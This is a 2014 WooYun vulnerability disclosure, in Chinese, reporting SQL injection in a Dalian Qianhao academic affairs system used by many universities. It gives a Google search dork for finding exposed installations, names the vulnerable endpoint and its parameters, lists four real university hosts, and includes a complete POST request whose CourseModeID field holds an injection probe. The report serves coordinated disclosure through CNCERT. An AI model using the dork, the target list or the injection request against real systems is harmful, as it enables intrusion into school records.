当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-065322

漏洞标题：某教务系统存在多处SQL注入，影响众多学校

相关厂商：cncert国家互联网应急中心

漏洞作者： 酱油甲

提交时间：2014-06-18 11:57

修复时间：2014-09-16 11:58

公开时间：2014-09-16 11:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-18： 细节已通知厂商并且等待厂商处理中
2014-06-23： 厂商已经确认，细节仅向厂商公开
2014-06-26： 细节向第三方安全合作伙伴开放
2014-08-17： 细节向核心白帽子及相关领域专家公开
2014-08-27： 细节向普通白帽子公开
2014-09-06： 细节向实习白帽子公开
2014-09-16： 细节向公众公开

简要描述：

某教务系统存在多处SQL注入，影响众多学校

详细说明：

大连乾豪软件有限公司的
教务处管理系统
多个参数存在SQL注入
谷歌关键字：
inurl:APPPROCESS 教务处

3.jpg


注入点：
ACTIONQUERYELECTIVERESULTBYTEACHSECRETARY.APPPROCESS?mode=2
注入参数：
CourseModeID，TeacherNO，YearTermNO
案例：
1.http://jwgl.hrbcu.edu.cn/ACTIONQUERYELECTIVERESULTBYTEACHSECRETARY.APPPROCESS?mode=2
2.http://cityjw.dlut.edu.cn:7001/ACTIONQUERYELECTIVERESULTBYTEACHSECRETARY.APPPROCESS?mode=2
3.http://202.97.179.124:8000/ACTIONQUERYELECTIVERESULTBYTEACHSECRETARY.APPPROCESS?mode=2
4.http://210.30.108.20:7001/ACTIONQUERYELECTIVERESULTBYTEACHSECRETARY.APPPROCESS?mode=2
例如构造：

POST /ACTIONQUERYELECTIVERESULTBYTEACHSECRETARY.APPPROCESS?mode=2 HTTP/1.1
Content-Length: 334
Content-Type: application/x-www-form-urlencoded
Referer: http://jwgl.hrbcu.edu.cn:80/
Cookie: JSESSIONID=Tdhr5V49Ah56fIY2sVWsixlQlEvk1o07a7Ads5pshAJah3Hb3Jk1!954885695
Host: jwgl.hrbcu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
bt_DYXZ=%b4%f2%d3%a1%d1%a1%d6%d0&bt_FXXD=%b7%b4%cf%f2%d1%a1%b6%a8&bt_QBCX=%c8%ab%b2%bf%b3%b7%cf%fa&bt_QBXZ=%c8%ab%b2%bf%d1%a1%d6%d0&CourseModeID=1%22&ReportTitle=%b9%fe%b6%fb%b1%f5%c9%cc%d2%b5%b4%f3%d1%a72014-2015%d1%a7%c4%ea%b5%da%b6%fe%d1%a7%c6%da%c9%cf%bf%ce%d1%a7%c9%fa%c3%fb%b5%a5&ScheduleSwitch=0&TeacherNO=130112&YearTermNO=16


1.jpg


2.jpg

漏洞证明：

1.jpg


2.jpg

修复方案：

过滤

版权声明：转载请注明来源 酱油甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2014-06-23 08:27

厂商回复：

cnvd确认非首报，已经由cnvd转 报给上海交通大学，由其协助验证和处置，根据目前情况，主要是通知东北地区高校。

最新状态：

暂无